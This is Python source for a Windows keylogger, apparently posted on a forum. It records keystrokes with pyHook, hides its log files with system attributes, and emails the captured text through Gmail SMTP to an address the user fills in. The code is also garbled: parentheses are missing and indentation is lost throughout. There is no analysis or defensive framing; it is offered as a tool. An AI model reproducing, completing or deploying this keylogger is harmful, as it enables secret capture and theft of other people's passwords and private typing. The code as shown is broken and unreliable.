import pywintypes
import pythoncom
import win32api
import pyHook
import logging
import os
import smtplib
#specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'}
specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'}
buffer = ''
def send():
j = open('loggedx.log', 'r'
check = file('loggedx.log'.read()
r = len(check)
j.close()
mmm = open('log.txt', 'r'
mmmp = file('log.txt'.read()
mmm.close()
msg = mmmp
##EDIT THIS##
toaddrs = 'PUT WHERE TO SEND LOGS'
username = "PUT YOUR GMAIL USERNAME"
password = "PUT YOUR GMAIL PASSWORD"
##EDIT THIS##
server = smtplib.SMTP('smtp.gmail.com:587'
server.starttls()
server.login(username,password)
server.sendmail(username + '@gmail.com', toaddrs, msg)
g = open('loggedx.log', 'w'
g.write('a'
g.close()
po = 0
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
def OnKeyboardEvent(event):
logging.basicConfig(filename='log.txt',level=logging.DEBUG,format='%(message)s'
global buffer
p = os.popen('attrib +H +R +S log.txt'
t = p.read()
p.close()
if event.Ascii in range(32,127):
ite = chr(event.Ascii)
print chr(event.Ascii)
buffer += chr(event.Ascii)
g = open('loggedx.log', 'a'
g.close()
j = open('loggedx.log', 'r'
check = file('loggedx.log'.read()
po = len(check)
j.close()
if check == '':
p = os.popen('attrib +H +R +S loggedx.log'
t = p.read()
p.close()
f = open('loggedx.log', 'a'
f.write(ite)
f.close()
else:
f = open('loggedx.log', 'a'
f.write(ite)
f.close()
if po > 100:
send()
else:
pass
if event.Ascii in specials:
ite = ' <'+specials[event.Ascii]+'> '
print '<'+specials[event.Ascii]+'>'
logging.log(10,buffer)
buffer = ''
logging.log(10,'<'+specials[event.Ascii]+'>'
p = os.popen('attrib +H +R +S log.txt'
t = p.read()
p.close()
g = open('loggedx.log', 'a'
g.close()
j = open('loggedx.log', 'r'
check = file('loggedx.log'.read()
po = len(check)
j.close()
if check == '':
p = os.popen('attrib +H +R +S loggedx.log'
t = p.read()
p.close()
f = open('loggedx.log', 'a'
f.write(ite)
f.close()
else:
f = open('loggedx.log', 'a'
f.write(ite)
f.close()
if po > 100:
send()
else:
pass
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Copyright © 2024, NextGenUpdate.
All Rights Reserved.